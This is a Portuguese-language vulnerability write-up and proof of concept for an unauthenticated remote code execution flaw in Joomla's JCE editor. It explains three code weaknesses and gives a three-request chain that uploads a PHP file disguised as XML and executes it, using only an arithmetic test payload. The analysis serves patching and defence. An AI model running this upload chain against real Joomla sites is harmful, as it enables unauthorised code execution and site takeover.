
Prova de conceito de exploit e análise técnica para CVE-2026-48907, uma vulnerabilidade de execução remota de código pré-autenticação com CVSS 10.0 no Joomla Content Editor (JCE). Inclui uma cadeia de ataque de 3 requisições e análise detalhada do patch.
Exploit de prova de conceito para CVE-2026-48907 — uma vulnerabilidade de execução remota de código CVSS 10.0 sem pré-autenticação na extensão Joomla Content Editor (JCE).
Pesquisa por Grayxploit Security Team
CVE-2026-48907 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada que afeta a extensão Joomla Content Editor (JCE) — o editor Joomla mais amplamente instalado — em todas as versões até e incluindo 2.9.99.4.
Ao encadear três fraquezas de segurança independentes no fluxo de importação de perfis do JCE, um atacante completamente não autenticado pode:
/tmp/ do servidorO ataque requer apenas 3 requisições HTTP e funciona em qualquer instalação padrão do Joomla executando uma versão vulnerável do JCE.
Pontuação CVSS v4: 10.0 — Crítica
Descoberta e divulgada publicamente pela equipe de pesquisa de segurança Grayxploit após divulgação responsável.
| Software | Versões Vulneráveis | Versão Corrigida |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recomendada) |
Nota: A 2.9.99.5 introduziu a correção principal. A 2.9.99.6 adicionou camadas extras de hardening. Atualize para 2.9.99.6 ou superior.
A vulnerabilidade tem origem no endpoint de importação de perfis do JCE:
POST /index.php?option=com_jce&task=profiles.import
O JCE permite que administradores exportem e importem perfis de editor como arquivos XML. O manipulador de importação é acessível sem autenticação e aceita uploads de arquivos arbitrários devido a uma cadeia de três fraquezas independentes.
O controlador de importação não realizava verificação de ACL:
public function import()
{
// Única barreira: token CSRF — facilmente contornável
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … vai direto para manipulação de arquivos — sem verificação authorise()
}
O Joomla incorpora o token CSRF em cada página pública como uma meta tag ou variável JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Um atacante simplesmente busca a página inicial, extrai o token e o reutiliza. A verificação CSRF impede requisições entre sites — ela não impede requisições scriptadas diretas. Não havia chamada a Factory::getUser() ou $user->authorise(...) em nenhum lugar do caminho de importação.
O manipulador de upload usava File::makeSafe() que apenas remove caracteres ilegais do sistema de arquivos — não valida ou restringe extensões de arquivo:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // remove caracteres ilegais apenas
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Um nome de arquivo como shell.xml.php passa por File::makeSafe() sem alterações. O mod_php do Apache o executa porque a última extensão reconhecida é .php. Extensões como .php, .php5, .phtml e variantes de barras duplas eram todas aceitas.
File::upload() Chamado com $allow_unsafe = true (CWE-116)O File::upload() do Joomla possui uma lista negra de extensões embutida que bloqueia tipos de arquivo perigosos quando $allow_unsafe = false (o padrão):
// Assinatura do File::upload() do Joomla
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
O código vulnerável do JCE desabilitou explicitamente essa rede de segurança:
// VULNERÁVEL — uploads inseguros explicitamente habilitados
File::upload($source, $destination, false, true);
Este único booleano desligou toda a lista negra interna de extensões do Joomla, permitindo que .php, .php5, .phtml e todas as outras extensões executáveis fossem escritas no disco.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extrair csrf_token do HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (arquivo gravado em /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Resposta: "3105" (45 × 69 = RCE confirmado ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
Sem cookie de sessão. Sem nome de usuário. Sem senha. 3 requisições HTTP.